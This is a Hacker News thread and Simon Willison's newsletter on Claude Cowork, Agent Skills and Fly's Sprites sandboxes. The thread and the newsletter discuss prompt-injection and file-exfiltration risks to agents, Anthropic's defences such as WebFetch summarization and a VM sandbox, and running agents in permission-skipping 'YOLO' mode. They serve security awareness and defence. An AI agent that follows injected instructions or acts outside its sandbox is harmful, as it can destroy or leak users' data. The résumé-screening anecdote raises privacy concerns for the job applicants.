3 months ago, Anthropic and Simon claimed that Skills were the next big thing and going to completely change the game. So far, from my exploration, I don't see any good examples out there, nor is a there a big growing/active community of users.
Today, we are talking about Cowork. My prediction is that 3 months from now, there will be yet another new Anthropic positioning, followed up with a detailed blog from Simon, followed by HN discussing possibilities. Rinse and Repeat.
This is something I have experienced first hand participating in the Vim/Emacs/Ricing communities. The newbie spends hours installing and tuning workflows with the mental justification of long-term savings, only to throw it all away in a few weeks when they see a new, shinier thing. I have been there and done that. For many, many years.
The mature user configures and installs 1 or 2 shiny new things, possibly spending several hours even. Then he goes back to work. 6 months later, he reviews his workflow and decides what has worked well, what hasn't and looks for the new shiny things in the market. Because, you need to use your tools in anger, in the ups and downs, to truly evaluate them in various real scenarios. Scenarios that won't show up until serious use.
My point is that Anthropic is incentivized in continuously moving goalposts. Simon is incentivized in writing new blogs every other day. But none of that is healthy for you and me.
They were only announced in October and they've already been ported to Codex and Gemini CLI and VS Code agents and ChatGPT itself (albeit still not publicly acknowledged there by OpenAI). They're also used in Cowork and are part of the internals in Fly's new Sprites. They're doing extremely well for an idea that's only three months old!
This particular post on Cowork isn't some of my best work - it was a first impression I posted within a couple of hours of release (I didn't have preview access to Cowork) just to try and explain what the thing was to people who don't have a $100+/month Claude Max subscription.
I don't think it's "unhealthy" for me to post things like this though! Did you see better coverage of Cowork than mine on day one?
It is probably a good lesson on how far confidence can get you in life. People are often highly biased by the presentation of the thing.
If Microsoft, in creating their next gen agentic OS, wants to replace Windows with the Linux kernal, Claude Code, and bash shell (turning Windows into a distribution of sorts,) more power to them. However, I doubt this is the direction they'll go.
I get a kick out of the fact that Microsoft has been preciously clinging to the "Copilot" branding and here comes Claude coming saying "Cowork? Good enough for us!".
-
Taking a step back, I really would love to see a broader perspective -- an account of someone who is not tech savvy at all. Someone who works a basic desk job that requires basic competency of microsoft word. I'm so deep into the bubble of AI-adjacent people that I haven't taken stock of how this would or could empower those who are under-skilled.
We've taken it as truth that those who benefit most from AI are high-skilled augmenters, but do others see some lift from it? I'd love if anthropic tried to strap some barely-performing administrative assistants into these harnesses and see if there's a net benefit. For all I know, it's not inconceivable that there be a `rm -rf` catastrophe every other hour.
I know the counterargument is people are already putting in company data via ChatGPT. However, that is a conscious decision. This may happen without people even recognizing that they are “spilling the beans”.
I’m not sure what the plan for integrating extensions is here but they definitely will be wanted.
starting with a bare ubuntu desktop system with plenty of RAM and CPU, setup three ubuntu VMs for secure development and networking skills learning (wireshark, protocol analysis, etc etc):
one ubuntu “virtual” desktop to simulate a working desktop that an end-user or developer would use. its networking should initially be completely isolated.
one ubuntu server to simulate a bastion machine. route all “virtual desktop” traffic through this “bastion”. it will serve as a tap.
one ubuntu server to serve as edge node. this one can share internet access with the host. route all bastion traffic through the edge node.
use this three vm setup to perform ordinary tasks in the “virtual desktop “ and observe the resulting traffic in the “bastion”. verify that no other traffic is generated on or from the host outside of the expected path virtual desktop -> bastion -> edge.
i claim this is a minimal “network clean” development setup for anyone wanting to do security-conscious development.
extra credit: setup another isolated vm sever to act as the package manager ; ie mirror anything to be installed on the “virtual desktop” onto this package server and configure this server as the install point for apt on the “virtual desktop”.
i doubt an AI can set this up right now. (i’ve tried)
Cowork seems like a great application of that principle.
The failure modes are just too rough for most people to think about until it's too late.
We'll see.
More broadly, my observation is that the type of tools that developers use are naturally suited to be scripted. Because developers do that all the time. We work with command line prompts, lots of tools that can be scripted via the command line, and scripting languages that work in that environment.
Tools like Claude Code and Codex are extremely simple for that reason. It's a simple feedback loop that in pseudo code reads like "while criteria not met, figure out what tools to run, run those, add output to context and re-assess if criteria were met". You don't need to hard code anything about the tools. A handful of tools (read file, run command, etc.) is all that is needed. You can get some very sophisticated feedback loops going that effectively counter the traditional limitations of LLMs (hallucinating stuff, poor instruction following, assertively claiming something is done when it isn't, etc.). A simple test suite and the condition that the tests must pass (while disallowing obvious hacks like disabling all the tests) can be enough to make agents grind away at a problem until it is solved.
In a business context, this is not true yet. Most business users use a variety of tools that aren't very scriptable and require fiddling with complex UIs. Worse, a lot of those tools are proprietary and hacking them requires access you typically don't get or is very limited. Given that, a life hack is to translate business workflows into developer tool workflows and then use agentic coding tools. Claude can't use MS Word for you. But it can probably work on MS word files via open source libraries and tools. So, step zero is to "mount a directory" and then use command line tools to manipulate what's inside. You bypass the tool boundary by swapping out business tools with developer tools. Anything behind a SAAS web UI is a bit out of scope unfortunately. You get bogged down in a complex maze of authentication and permission issues, fiddly APIs with poor documentation. That's why most of the connectors for e.g. Chat GPT are a bad joke in how limited they are.
Simple example. Codex/Claude Code, etc. are probably fairly useless doing anything complicated with say Square Space, a wordpress website, etc. But if you use a static site builder, you can make these tools do fairly complicated things. I've been working for the last two weeks on our Hugo website to do some major modernization, restructuring, content generation, translations, etc. All via prompting codex. I'm working on SEO, lighthouse performance, adding complex new components to the website, reusing content from old pages to create new ones, checking consistency between translations, ensuring consistent use of certain language, etc. All by prompting codex. "Add a logo for company X", "make sure page foo has a translation consistent with my translation guide", etc.
I got a lot more productive with this setup after I added a simple npm run verify test suite with a simple AGENTS.md instruction that the verify script has to pass after any change. If you watch what codex does there's a pattern of trial and error until the verification script passes. Usually it doesn't get it right in one go. But it gets there without my intervention. It's not a very sophisticated test suite but it tests a few of the basics (e.g. tailwind styling survives the build and is in the live site, important shit doesn't 404, hugo doesn't error, etc.). I have about 10 simple smoke tests like that.
I think we'll see a big shift in the business world towards more AI friendly tooling because smart business users will be flocking towards tools that work with AI tools in a hurry as they discover that they can shave weeks/days of grinding those tools manually by switching. This is a process that's likely to take very long because people don't like to change their tool habits. But the notion of what is the right tool for the right job is shifting. If it's not AI friendly, it's the wrong tool probably.
Long term, I expect UIs and dealing with permissions in a sane way will be easier to deal with for AI tools. But meanwhile, we don't actually have to wait for all that. You can hack your way to success if you are a bit smart with your tool choices.
Over time this has become more sophisticated. I've created custom commands to incorporate training tips from YouTube videos (via YT-DLP and WhisperX) and PDFs of exercise plans or books that I've purchased. I've used or created MCP servers to give it access to data from my smart watch and smart scale. It has a few database-like YAML files for scoring things like exercise weight ranges and historical fitness metrics. At some point we'll probably start publishing the workouts online somewhere where I can view and complete them electronically, although I'm not feeling a big rush on that. I can work on this at my own pace and it's never been anything but fun.
I think there's a whole category of personal apps that are essentially AI + a folder with files in it. They are designed and maintained by you, can be exactly what you want (or at least can prompt), and don't need to be published or shared with anyone else. But to create them you needed to be comfortable at the command line. I actually had a chat with Claude about this, asking if there was a similar workflow for non-CLI types. Claude Cowork seems like it. I'll be curious to see what kinds of things non-technical users get up to with it, at least once it's more widely available.
This is a very detailed, particular prompt. The type of prompt a programmer would think of as they were trying to break down a task into something that can be implemented. It is so programmer-brained that I come away not convinced that a typical user would be able to write it.
This isn’t an AI skepticism post - the fact that it handles the prompt well is very impressive. But I’m skeptical that the target user is thinking clearly enough to prompt this well.
She has to go through about 100 resumes for a position at her college. Each resume is essentially a form the candidate filled out and lists their detailed academic scores from high school > PhD, their work experience, research and publications.
Based on the declared data, candidates are scored by the system
Now this is India and there's a decent amount of fraud, so an individual has to manually check the claimed experience/scores/publications against reality
A candidate might claim to have relevant experience, but the college might be unaccredited, or the claimed salary might be way too low for a relevant academic position. Or they might claim to have published in XYZ journal, but the journal itself might be a fraudulent pay-to-publish thing
Going through 100+ resumes, each 4 pages long is a nightmare of a task. And boring too.
--
So I asked Claude Code to figure out the problem. I gave it a PDF with the scoring guidelines, a sample resume, and asked it to figure out the problem
Without me telling it, it figured out a plan that involved checking a college's accredition and rating (the govt maintains a rating for all colleges), the claimed salary vs actual median salary for that position (too low is a red flag), and whether the claimed publication is in either the SCOPUS index or a govt approved publications index
(I emphasize govt approved because this is in a govt backed institution)
Then I gave it access to a folder with all the 100 resumes.
In less than 30 minutes, it evaluated all candidates and added the evaluation to a CSV file. I asked it to make it more readable, so it made a HTML page with data from all the candidates and red/green/yellow flags about their work-experience, publications, and employment
It made a prioritized list of the most promising candidates based on this data
My wife double checked because she still "doesn't trust AI", but all her verification almost 100% matched Claude's conclusions
This was a 3 day, grinding task done in 30 minutes. And all I did was type into a terminal for 20 minutes
But seriously, other tasks I've encountered recently that I wish I could delegate to an AI:
- Posting my junk to Craigslist, determining a fair price, negotiating a buyer (pickup only!)
- Scheduling showings to find an apartment, wherein the listing agents are spread over multiple platforms, proprietary websites, or phone contacts
- Job applications -- not forging a resume, but compiling candidate positions with reasoning, and the tedious part were you have to re-enter your whole resume into their proprietary application pipeline app
What strikes me as basic similarities across these types of things, is that they are essentially data-entry jobs which interact with third-party interfaces, with CRM-like follow up requirements, and require "good judgement" (reading reviews, identifying scams, etc).
I read that as it's not healthy to constantly follow the day one posts about every iteration of brand new technology in order to try and see how to incorporate it into your workflow in a rapidly evolving manner.
It's not an attack on your article or your habits, it's an accurate indictment of chronically consuming probably short-lived hype instead of practicing craft and the use of hardened tools, much like watching certain programmers on youtube to know about the latest frontend library instead of just working on something with versatile, generalizable, industry-relevant tools
To be fair, Cowork and similar things are just trying to take the agentic workflows and tools that developers are already accessing (eg most of us have already been working with files in Cursor/CC/Codex for a long time now, it's nothing new) and making them friendly for others.
Skills have become widely adopted since Anthropic's announcement. They've been implemented across major coding agents[0][1][2] and standardized as a spec[3]. I'm not sure what you mean by "next big thing" but they're certainly superior to MCP in ways, being much easier to implement and reducing context usage by being discoverable, hence their rapid adoption
I don't know if skills will necessarily stay relevant amongst evolution of the rest of the tooling and patterns. But that's more because of huge capital investment around everything touching AI, very active research, and actual improvements in the state of the art, rather than simply "new, shinier things" for the sake of it
[0]. https://developers.openai.com/codex/skills/
[1]. https://antigravity.google/docs/skills
Skills + tool search tool (dynamic MCP loading) announced recently are way better than just using MCP tools. I see more adoption by the people around me compared to a few months ago.
In regular Chat, I struggle to get the agent to consistently traverse certain workflows that I have. This is something that I can trivially do in Claude Code - but Claude Code wants to code (so I'm often fighting it's tendencies).
Cowork seems like it's going to allow me to use the best parts of Claude Code, without being forced to output everything to code.
"in Cowork we’ve added an initial set of skills that improve Claude’s ability to create documents, presentations, and other files" https://claude.com/blog/cowork-research-preview
Anything that lets us compose smaller tasks into larger ones effectively is helpful. That’s because self-attention (ie context) is still a huge limiting factor.
As someone who uses these tools a lot, and who sits on the bleeding edge everyday, I agree with you.
Just because Claude Cowork is for "other" kinds of work, not just software engineering, doesn't in any way change that. It's not like other kinds of knowledge work aren't being done by intelligent professionals who invest time into learning how to use complicated software and systems
That is to say, I don't know who the "target user" of this is, but it is a $100/month subscription, so it's presumably someone who is a pretty serious AI user.
I fully anticipate there being a fair amount of thrashing on what exactly the right wrapper is around both of those concepts. I think the hard thing is to discriminate between the learned constants (vim/emacs) are from the attempts to re-jiggle or extend that (plugins, etc); it's actually useful to get reviews of these experiments exactly so you don't have to install all of them to find out whether they add anything.
(On skills, I think that the reason why there "aren't good examples out there" is because most people just have a stack of impromptu local setups. It takes a bit of work to extract those to throw them out into the public, and right now it's difficult to see that kind of activity over lots of very-excitable hyping, as you rightly describe.
The deal with skills and other piles of markdown is that they don't look, even from a short distance, like you can construct a business model for them, so I think they may well end up in the world of genuine open source sharing, which is a much smaller, but saner, place.
Simon is more influencer than engineer at this point, he's incentivized to ride waves to drive views, and I think the handwaiving "this will be amazing" posts have been good to him, even if they turn out to be completely wrong.
Dismissing the opportunity to learn because the person offering you knowledge is enthusiastic about his area of expertise is probably shortsighted.
That's pretty negative! https://simonwillison.net/series/prompt-injection/
There's a whole section in the linked piece about how Cowork doesn't do enough here, including:
> I do not think it is fair to tell regular non-programmer users to watch out for “suspicious actions that may indicate prompt injection”
`/plugin marketplace add anthropics/skills`
https://github.com/anthropics/skills
2 days ago I built a skill to automate a manual workflow I was using: After Claude writes and commits some code, have Codex review that code and have Claude go back and address what Codex finds. I used this process to implement a fairly complete Docusign-like service, and it did a startlingly good job right out of the gate, the bugs were fairly shallow. In my manual review of the Codex findings, it seems to be producing good results.
Claude Code largely built that skill for me.
Implemented as a skill and I've been using it for the last 2 days to implement a "retrospective meeting runner" web app. Having it as a skill completely automates the code->review->rework step.
The people you should be skeptical of are the random Xitter handles who post about a robotic phlebotomists and say "THE FUTUE IS ALREADY HERE".
https://www.youtube.com/watch?v=_6C9nMvQsGU
YOLO? More like LOLOL
I want more blogs/discussion from the community about the existing tools.
In 3/6 months, how many skills have you written? How many times have you used each skill? Did you have edit skills later due to unseen corner cases, or did they generalize? Are skills being used predominantly at the individual level, or are entire teams/orgs able to use a skill as is? What are the usecases where skills are not good at? What are the shortcomings?
(You being the metaphorical HN reader here of course.)
HN has always been a place of greater technical depth than other internet sites and I would like to see more of this sort of thing on the front page along with day one calls.
An example: I made a report_polisher skill that cleans some markdown formatting, check image links, and then uses pandoc to convert it to HTML. I ask the tool itself created the skill, then I just tweaked it.
There may be a future AI-based system that can retain so much context it can kind of just "get what you mean" when you say off-the-cuff things, but I believe that a user that can think, speak, and write clearly will still have a skill advantage over one that does not.
The popularity of LLMs proves this. That's how most people use them - building up a detailed prompt in steps, and learning how to put more detail in to get the result you want.
The 1980's version of simonw was explaining to people how to use Excel, too.
(though 40 years later, things are still pretty bad on the Excel front, hah)
Also you may only need someone to write the meta prompt that then spits out this kind of thing given some problem “I want to find the easiest blog posts to finish in my drafts but some are already published” then a more detailed prompt out of it, read it and set things going.
Even if critics are right that these models are inherently insecure, the market will likely settle for 'optically patched.' If the efficiency gains are there, companies will just accept the residual risk.
> Claude Cowork exfiltrates files https://news.ycombinator.com/item?id=46622328
This is a good example of the Normalization of Deviance in AI by the way.
See my Claude Pirate research from last October for details:
https://embracethered.com/blog/posts/2025/claude-abusing-net...
I expect we'll see an enormous quantity of "cool prompts to try in Cowork" content show up over the next few months, which makes sense - regular non-programmers will benefit enormously from cookbooks and prompting guides and other tools to help them figure out what they can ask this thing.
Over time, target users will learn to think and communicate this way. As this is what tools will demand of them.
To say nothing of the flagrantly immoral and likely illegal data privacy violations, of course.
I dont actually think there many of those people out there. And those that are, are on their way out. There are basically none of those people entering the work force. There are tons of people with that sort of computer literacy but they aren't working on computers.
The "almost" here is very alarming.
Well, and learning how to do that in 20 minutes
Most recent example: I wanted to try out GLM-image when it dropped the other day, but didn't feel like spending an hour dealing with multifile, multidirectory HuggingFace downloads and all the usual Python dependency headaches. So I made an empty directory, ran Claude Code, and told it "Please download all files from https://huggingface.co/zai-org/GLM-Image/tree/main into this directory and test the model." An hour later, I tabbed back to the console window and there was the sample image file.
Looking at the transcript, sure enough, it ran into all the usual headaches and hassles... but the difference is I didn't have to deal with them.
Note that I didn't tell it "Use uv to test the model" -- I just YOLOed it with my system Python installation. If I later find that it broke something else, oh, well... that sounds like a job for Claude, too.
Another thing that's nice about these CLI tools is that they hide the differences between terminals pretty effectively. I ran this particular task in a Windows DOS box, but could just as easily have used PowerShell, a Mac, or a Linux terminal. The idea of not having to care what OS I'm running is an alluring one, given the steady enshittification of Windows.
There are so many office workers who just shuffle data between systems. Not sure about the error rate though but it is not like the error rate is going to be worse a decade from now.
Can be a stupid advice.
The ai field moves fast, what's wrong being an early adopter and experimenting around with it?
Someone has to do it.
And tbh skills are an easy to use concept to make Claude faster and the context smaller.
Personally the skills that I have found most useful that I've written myself are these:
- uv-tdd - run a TDD loop on a Python project via uv: https://github.com/simonw/skills/blob/main/uv-tdd/SKILL.md
- setup-to-pyproject - migrate a setup.py Python project to pyproject.toml in the way I prefer https://github.com/simonw/skills/blob/main/setup-to-pyprojec...
- datasette-plugins: everything an LLM needs to write a new Datasette plugin https://github.com/datasette/skill/blob/main/SKILL.md
Very much this. All of my skills/subagents are highly tailored to my codebases and workflows, usually by asking Claude Code to write them and resuming the conversation any time I see some behavior I don't like. All the skills I've seen on Github are way too generic to be of any use.
She's right not to trust it for something like this. The "almost 100%" is the problem (also consider that you're sending personal data to anthropic without permission) especially for something like this where it might mean discarding someone's resume, which is something that could have a significant impact on a person's life.
This would have taken ages to do by hand in iMovie, and probably just as long to look up the needed parameters in ffmpeg, but Claude code got it right in the first try, and worked with me to fine-tune the motion detection threshold.
"are any of my recent blog drafts unpublished and nearly ready to go?"
I would encourage you to write up a blog post of your experience and share a version of the skill you have built. And then follow up with a blog post after 3 months with analysis like how well the skill generalized for your daily use, whether you had to make some changes, what didn't work etc. This is the sort of content we need more of here.
I’m not intending to be dismissive, just noticing a pattern and advocating a bit of skepticism.
Example: The decade+ of people worshipping at Musk’s feet only for him to reveal himself as a malignant narcissist.
This definitely agrees with my experience. But a corollary is that written human language is very cumbersome to encode some complex concepts. More and more I give up on LLM-assisted programming because it is easier to express my desires in code than using English to describe what forms I want to see in the produced code. Perhaps once LLMs get something akin to judgement and wisdom I can express my desires in the terms I can use with other experienced humans and take for granted certain obvious quality aspects I want in the results.
I've heard it well described as a k-type curve. Individuals that already know things will use this tool to learn and do many more things. Individuals that don't know a whole lot aren't going to learn or do a whole lot with this tool.
* Bookkeeper & planning approval within city government
* Doctor/dentist/optometry receptionist & scheduler (both at independent offices and at major hospitals)
* Front desk staff at almost every company with a physical front desk
* University administrative staff (there can be a lot more of these people than you'd think)
* DMV workers
* Probably lots of teachers
Those jobs all will use other software as well, but a lot of their job is making and filling forms on a computer, where they are likely needing to use MS Word fairly often to write things up.
Imagine what we could accomplish if we had a way of writing very precise language that is easy for a machine to interpret!
Would strongly encourage you to open-source/write blog posts on some concrete examples from your experience to bridge this gap.
Humans are terrible at that kind of long term focus, make clerical errors, etc.
https://embracethered.com/blog/posts/2025/the-normalization-...
I can speak faster than I type, and the flow state is much smoother when you can just dump a stream of consciousness into the context window in a matter of seconds. And the quality of the model is insane for something that runs locally, on reasonable hardware no less.
Swearing at an LLM is also much more fun when done verbally.
The value of skills is that they are attached to the context of an LLM for few tokens, and the LLM activates one when it feels that it relevant (and brings it into context). It's a chepear alternative to having a huge CLAUDE.md (or equivalent) file.
I use Substack as a free email provider for the email newsletter copy of my blog - which saves me hundreds of dollars a month in email fees.
> This isn’t just an interesting academic trick: it’s a form of security exploit. I propose that the obvious name for this should be prompt injection.
I've written about it 142 times since then: https://simonwillison.net/tags/prompt-injection/
I'm credited for coining the term on Wikipedia and in several academic papers.
I don't claim to have discovered the vulnerability - I credited that to Riley Goodside, but we later learned it was independently discovered and first reported to OpenAI by Jonathan Cefalu of Preamble, see https://www.preamble.com/prompt-injection-a-critical-vulnera...
That doesnt rebut anything I said.
How about young people entering the workforce who primarily work on computers but are mostly computer illiterate?
It definitely exists. But it's shrinking. There are tons of computer illiterate people, less so but even amongst young people, but they arent primarily working on computers. There is still a sizable chunk over 40 but those days are numbered.
Hearing a programming legend weigh in on the latest programming tool seems entirely completely reasonable.
[0]: https://nymag.com/intelligencer/article/how-claude-code-cowo...
This is plainly obvious to anyone who understands how these LLMs work.
It honestly feels really refreshing to me, for there to be genuine competition in a new technology.
In this newsletter:
First impressions of Claude Cowork, Anthropic’s general agent
Fly’s new Sprites.dev addresses both developer sandboxes and API sandboxes at the same time
My answers to the questions I posed about porting open source code with LLMs
Plus 4 links and 1 quotation and 1 TIL
If you find this newsletter useful, please consider sponsoring me via GitHub. $10/month and higher sponsors get a monthly newsletter with my summary of the most important trends of the past 30 days - here are previews from August and September.
New from Anthropic today is Claude Cowork, a “research preview” that they describe as “Claude Code for the rest of your work”. It’s currently available only to Max subscribers ($100 or $200 per month plans) as part of the updated Claude Desktop macOS application.
I’ve been saying for a while now that Claude Code is a “general agent” disguised as a developer tool. It can help you with any computer task that can be achieved by executing code or running terminal commands... which covers almost anything, provided you know what you’re doing with it! What it really needs is a UI that doesn’t involve the terminal and a name that doesn’t scare away non-developers.
“Cowork” is a pretty solid choice on the name front!
The interface for Cowork is a new tab in the Claude desktop app, called Cowork. It sits next to the existing Chat and Code tabs.
It looks very similar to the desktop interface for regular Claude Code. You start with a prompt, optionally attaching a folder of files. It then starts work.
I tried it out against my perpetually growing “blog-drafts” folder with the following prompt:
Look at my drafts that were started within the last three months and then check that I didn’t publish them on simonwillison.net using a search against content on that site and then suggest the ones that are most close to being ready
[
, with "+ New task" button and a task titled "Review unpublished drafts for pu..." listed below. Text reads "These tasks run locally and aren't synced across devices". Main panel header shows "Review unpublished drafts for publication". User message in green bubble reads: "Look at my drafts that were started within the last three months and then check that I didn't publish them on simonwillison.net using a search against content on that site and then suggest the ones that are most close to being ready". Claude responds: "I'll help you find drafts from the last three months and check if they've been published. Let me start by looking at your drafts folder." Below is an expanded "Running command" section showing Request JSON with command: find /sessions/zealous-bold-ramanujan/mnt/blog-drafts -type f \( -name "*.md" -o -name "*.txt" -o -name "*.html" \) -mtime -90 -exec ls -la {} \;, description: Find draft files modified in the last 90 days. Response text begins: "Found 46 draft files. Next let me read the content of each to get their titles/topics, then". Right sidebar shows Progress section with three circular indicators (two checked, one pending) and text "Steps will show as the task unfolds.", Artifacts section listing "publish-encouragement.html", Context section with "Selected folders" showing "blog-drafts" folder, Connectors showing "Web search", and Working files listing "llm-digest-october-2025.md", "tests-not-optional-coding-agen...", and "digest-november-2025.md". Bottom shows reply input field, "Opus 4.5" model selector, user "Simon Willison" with "Max plan", and disclaimer "Claude is AI and can make mistakes. Please double-check responses."")
It started by running this command:
find /sessions/zealous-bold-ramanujan/mnt/blog-drafts \
-type f \( -name “*.md” -o -name “*.txt” -o -name “*.html” \) \
-mtime -90 -exec ls -la {} \;
That /sessions/zealous-bold-ramanujan/mnt/blog-drafts path instantly caught my eye. Anthropic say that Cowork can only access files you grant it access to - it looks to me like they’re mounting those files into a containerized environment, which should mean we can trust Cowork not to be able to access anything outside of that sandbox.
It turns out I have 46 draft files from the past three months. Claude then went to work with its search tool, running 44 individual searches against site:simonwillison.net to figure out which of my drafts had already been published.
Here’s the eventual reply:
Based on my analysis, here are your unpublished drafts that appear closest to being ready for publication:
🔥 Most Ready to Publish (substantial content, not yet published)
freq-argued-llms.md- “Frequently Argued Questions about LLMs” (22,602 bytes)
This is a meaty piece documenting common arguments about LLMs with your counterpoints
Well-structured with a TL;DR and multiple sections
No matching published article found on your site
Very close to ready - just needs a final review pass
claude-code-timeline.md- “Claude Code Timeline and Codex Timeline” (3,075 bytes)
About viewing JSONL session logs from Claude Code and Codex
You published
claude-code-transcriptson Dec 25, but this appears to be a different/earlier piece about timeline viewing toolsShorter but seems complete
datasette-1a20-upgrade-instructions.md- Plugin Upgrade Guide (3,147 bytes)
Technical guide for plugin authors
You published the main 1.0a20 announcement but this companion upgrade guide appears unpublished
Would be valuable for plugin maintainers
That’s a good response! It found exactly what I needed to see, although those upgrade instructions are actually published elsewhere now (in the Datasette docs) and weren’t actually intended for my blog.
Just for fun, and because I really like artifacts, I asked for a follow-up:
Make me an artifact with exciting animated encouragements to get me to do it
Here’s what I got:
[
. Top toolbar shows "Open in Firefox" button. Right sidebar displays Progress section with checkmarks, Artifacts section with "publish-encouragement.html" selected, Context section showing "blog-drafts" folder, "Web search" connector, and Working files listing "llm-digest-october-2025.md", "tests-not-optional-coding-agen...", and "digest-november-2025.md". Bottom shows reply input, "Opus 4.5" model selector, and disclaimer text.")
I couldn’t figure out how to close the right sidebar so the artifact ended up cramped into a thin column but it did work. I expect Anthropic will fix that display bug pretty quickly.
I’ve seen a few people ask what the difference between this and regular Claude Code is. The answer is not a lot. As far as I can tell Claude Cowork is regular Claude Code wrapped in a less intimidating default interface and with a filesystem sandbox configured for you without you needing to know what a “filesystem sandbox” is.
Update: It’s more than just a filesystem sandbox - I had Claude Code reverse engineer the Claude app and it found out that Claude uses VZVirtualMachine - the Apple Virtualization Framework - and downloads and boots a custom Linux root filesystem.
I think that’s a really smart product. Claude Code has an enormous amount of value that hasn’t yet been unlocked for a general audience, and this seems like a pragmatic approach.
With a feature like this, my first thought always jumps straight to security. How big is the risk that someone using this might be hit by hidden malicious instruction somewhere that break their computer or steal their data?
Anthropic touch on that directly in the announcement:
You should also be aware of the risk of “prompt injections“: attempts by attackers to alter Claude’s plans through content it might encounter on the internet. We’ve built sophisticated defenses against prompt injections, but agent safety---that is, the task of securing Claude’s real-world actions---is still an active area of development in the industry.
These risks aren’t new with Cowork, but it might be the first time you’re using a more advanced tool that moves beyond a simple conversation. We recommend taking precautions, particularly while you learn how it works. We provide more detail in our Help Center.
That help page includes the following tips:
To minimize risks:
Avoid granting access to local files with sensitive information, like financial documents.
When using the Claude in Chrome extension, limit access to trusted sites.
If you chose to extend Claude’s default internet access settings, be careful to only extend internet access to sites you trust.
Monitor Claude for suspicious actions that may indicate prompt injection.
I do not think it is fair to tell regular non-programmer users to watch out for “suspicious actions that may indicate prompt injection”!
I’m sure they have some impressive mitigations going on behind the scenes. I recently learned that the summarization applied by the WebFetch function in Claude Code and now in Cowork is partly intended as a prompt injection protection layer via this tweet from Claude Code creator Boris Cherny:
Summarization is one thing we do to reduce prompt injection risk. Are you running into specific issues with it?
But Anthropic are being honest here with their warnings: they can attempt to filter out potential attacks all they like but the one thing they can’t provide is guarantees that no future attack will be found that sneaks through their defenses and steals your data (see the lethal trifecta for more on this.)
The problem with prompt injection remains that until there’s a high profile incident it’s really hard to get people to take it seriously. I myself have all sorts of Claude Code usage that could cause havoc if a malicious injection got in. Cowork does at least run in a filesystem sandbox by default, which is more than can be said for my claude --dangerously-skip-permissions habit!
I wrote more about this in my 2025 round-up: The year of YOLO and the Normalization of Deviance.
Security worries aside, Cowork represents something really interesting. This is a general agent that looks well positioned to bring the wildly powerful capabilities of Claude Code to a wider audience.
I would be very surprised if Gemini and OpenAI don’t follow suit with their own offerings in this category.
I imagine OpenAI are already regretting burning the name “ChatGPT Agent” on their janky, experimental and mostly forgotten browser automation tool back in August!
bashtoni on Hacker News:
Simple suggestion: logo should be a cow and and orc to match how I originally read the product name.
I couldn’t resist throwing that one at Nano Banana:
[

New from Fly.io today: Sprites.dev. Here’s their blog post and YouTube demo. It’s an interesting new product that’s quite difficult to explain - Fly call it “Stateful sandbox environments with checkpoint & restore” but I see it as hitting two of my current favorite problems: a safe development environment for running coding agents and an API for running untrusted code in a secure sandbox.
Disclosure: Fly sponsor some of my work. They did not ask me to write about Sprites and I didn’t get preview access prior to the launch. My enthusiasm here is genuine.
I predicted earlier this week that “we’re due a Challenger disaster with respect to coding agent security” due to the terrifying way most of us are using coding agents like Claude Code and Codex CLI. Running them in --dangerously-skip-permissions mode (aka YOLO mode, where the agent acts without constantly seeking approval first) unlocks so much more power, but also means that a mistake or a malicious prompt injection can cause all sorts of damage to your system and data.
The safe way to run YOLO mode is in a robust sandbox, where the worst thing that can happen is the sandbox gets messed up and you have to throw it away and get another one.
That’s the first problem Sprites solves:
curl https://sprites.dev/install.sh | bash
sprite login
sprite create my-dev-environment
sprite console -s my-dev-environment
That’s all it takes to get SSH connected to a fresh environment, running in an ~8GB RAM, 8 CPU server. And... Claude Code and Codex and Gemini CLI and Python 3.13 and Node.js 22.20 and a bunch of other tools are already installed.
The first time you run claude it neatly signs you in to your existing account with Anthropic. The Sprites VM is persistent so future runs of sprite console -s will get you back to where you were before.
... and it automatically sets up port forwarding, so you can run a localhost server on your Sprite and access it from localhost:8080 on your machine.
There’s also a command you can run to assign a public URL to your Sprite, so anyone else can access it if they know the secret URL.
In the blog post Kurt Mackey argues that ephemeral, disposable sandboxes are not the best fit for coding agents:
The state of the art in agent isolation is a read-only sandbox. At Fly.io, we’ve been selling that story for years, and we’re calling it: ephemeral sandboxes are obsolete. Stop killing your sandboxes every time you use them. [...]
If you force an agent to, it’ll work around containerization and do work . But you’re not helping the agent in any way by doing that. They don’t want containers. They don’t want “sandboxes”. They want computers.
[...] with an actual computer, Claude doesn’t have to rebuild my entire development environment every time I pick up a PR.
Each Sprite gets a proper filesystem which persists in between sessions, even while the Sprite itself shuts down after inactivity. It sounds like they’re doing some clever filesystem tricks here, I’m looking forward to learning more about those in the future.
There are some clues on the homepage:
You read and write to fast, directly attached NVMe storage. Your data then gets written to durable, external object storage. [...]
You don’t pay for allocated filesystem space, just the blocks you write. And it’s all TRIM friendly, so your bill goes down when you delete things.
The really clever feature is checkpoints. You (or your coding agent) can trigger a checkpoint which takes around 300ms. This captures the entire disk state and can then be rolled back to later.
For more on how that works, run this in a Sprite:
cat /.sprite/docs/agent-context.md
Here’s the relevant section:
## Checkpoints
- Point-in-time checkpoints and restores available
- Copy-on-write implementation for storage efficiency
- Last 5 checkpoints mounted at `/.sprite/checkpoints`
- Checkpoints capture only the writable overlay, not the base image
Or run this to see the --help for the command used to manage them:
sprite-env checkpoints --help
Which looks like this:
sprite-env checkpoints - Manage environment checkpoints
USAGE:
sprite-env checkpoints <subcommand> [options]
SUBCOMMANDS:
list [--history <ver>] List all checkpoints (optionally filter by history version)
get <id> Get checkpoint details (e.g., v0, v1, v2)
create Create a new checkpoint (auto-versioned)
restore <id> Restore from a checkpoint (e.g., v1)
NOTE:
Checkpoints are versioned as v0, v1, v2, etc.
Restore returns immediately and triggers an async restore that restarts the environment.
The last 5 checkpoints are mounted at /.sprite/checkpoints for direct file access.
EXAMPLES:
sprite-env checkpoints list
sprite-env checkpoints list --history v1.2.3
sprite-env checkpoints get v2
sprite-env checkpoints create
sprite-env checkpoints restore v1
I’m a big fan of Skills, the mechanism whereby Claude Code (and increasingly other agents too) can be given additional capabilities by describing them in Markdown files in a specific directory structure.
In a smart piece of design, Sprites uses pre-installed skills to teach Claude how Sprites itself works. This means you can ask Claude on the machine how to do things like open up ports and it will talk you through the process.
There’s all sorts of interesting stuff in the /.sprite folder on that machine - digging in there is a great way to learn more about how Sprites works.
Also from my predictions post earlier this week: “We’re finally going to solve sandboxing”. I am obsessed with this problem: I want to be able to run untrusted code safely, both on my personal devices and in the context of web services I’m building for other people to use.
I have so many things I want to build that depend on being able to take untrusted code - from users or from LLMs or from LLMs-driven-by-users - and run that code in a sandbox where I can be confident that the blast radius if something goes wrong is tightly contained.
